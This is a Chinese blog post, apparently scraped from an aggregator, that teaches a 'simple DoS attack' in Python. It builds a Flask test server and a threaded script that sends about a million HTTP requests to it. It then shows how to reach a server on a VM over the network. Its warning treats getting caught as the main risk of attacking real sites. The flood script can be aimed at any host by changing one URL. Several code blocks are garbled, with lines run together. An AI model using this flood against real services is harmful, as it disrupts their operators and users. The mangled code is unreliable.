当前位置: 首页 > news >正文

python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 
from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run(debug=True)

python编写DOS攻击服务

pip install requests
import requests
from requests.exceptions import RequestException
import threadingdef requestGetOne():try:response = requests.get('http://127.0.0.1:5000', timeout=5)response.raise_for_status()  # 检查响应状态码print(response.text)except RequestException as e:print(f'请求出错: {e}')def print_numbers():for i in range(1000):requestGetOne()if __name__ == "__main__":threads = []for i in range(1000):  # 创建1000个线程thread = threading.Thread(target=print_numbers)threads.append(thread)thread.start()# 等待所有线程结束for thread in threads:thread.join()print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

这只是在本地端进行的DOS,若是有应用程序在VMWare虚拟机上

  1. 需要开启桥接模式物理网络连接状态
    在这里插入图片描述
    这样你的ifconfig才会是
    在这里插入图片描述
    eth0才会有固定IP
  2. 我们要在本地计算机ping一下这个IP地址(本机&虚拟机–在同一个网关下)
#ping ip
ping 172.23.233.164

在这里插入图片描述
说明俩者之间有连接
3. 在不同IP中需要进行访问那必然要经历跨域访问(前后端分离也是如此),一般在后端进行跨域访问,但为了学习的方便我们都会让它所有都能访问,后端web就要改成

from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run('0.0.0.0',port=5000)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Flutter之CRC校验
  • Unity编辑器开发 Immediate Mode GUI (IMGUI)
  • 多目标应用:基于多目标雾凇算法(MORIME)的移动机器人路径规划研究(提供MATLAB代码)
  • 电脑办公之基础操作(持续更新)
  • 帆软报表使用url访问报表,自定义前端搜索,优化报表展示
  • 使用GPU加速及配置
  • java反射:动态修改注解上属性的值
  • java 实现的单例,在static块中实例化是否会有线程安全问题?
  • golang闭包中变量获取
  • pyro.optim pyro ppl 概率编程 优化器 pytorch
  • 食品安全管理员考试真题题库及答案
  • Python爬虫—教你用Python爬取小说,小白也能操作(附源码)
  • 【C++ Primer Plus习题】10.4
  • 量子运算-计算新时代的开端
  • Java健康养老智慧相伴养老护理小程序系统源码代办陪诊陪护更安心
  • python3.6+scrapy+mysql 爬虫实战
  • 《Javascript数据结构和算法》笔记-「字典和散列表」
  • 3.7、@ResponseBody 和 @RestController
  • 30秒的PHP代码片段(1)数组 - Array
  • C++入门教程(10):for 语句
  • chrome扩展demo1-小时钟
  • Java 多线程编程之:notify 和 wait 用法
  • JavaScript设计模式之工厂模式
  • java正则表式的使用
  • JSDuck 与 AngularJS 融合技巧
  • JSONP原理
  • LeetCode29.两数相除 JavaScript
  • magento 货币换算
  • React Transition Group -- Transition 组件
  • react 代码优化(一) ——事件处理
  • Sublime text 3 3103 注册码
  • Swift 中的尾递归和蹦床
  • 大整数乘法-表格法
  • 动态魔术使用DBMS_SQL
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 分布式熔断降级平台aegis
  • 给新手的新浪微博 SDK 集成教程【一】
  • 关于List、List?、ListObject的区别
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 实现简单的正则表达式引擎
  • 主流的CSS水平和垂直居中技术大全
  • ​MySQL主从复制一致性检测
  • ​浅谈 Linux 中的 core dump 分析方法
  • ​香农与信息论三大定律
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (苍穹外卖)day03菜品管理
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (计算机网络)物理层
  • (续)使用Django搭建一个完整的项目(Centos7+Nginx)
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • .bat批处理(九):替换带有等号=的字符串的子串
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!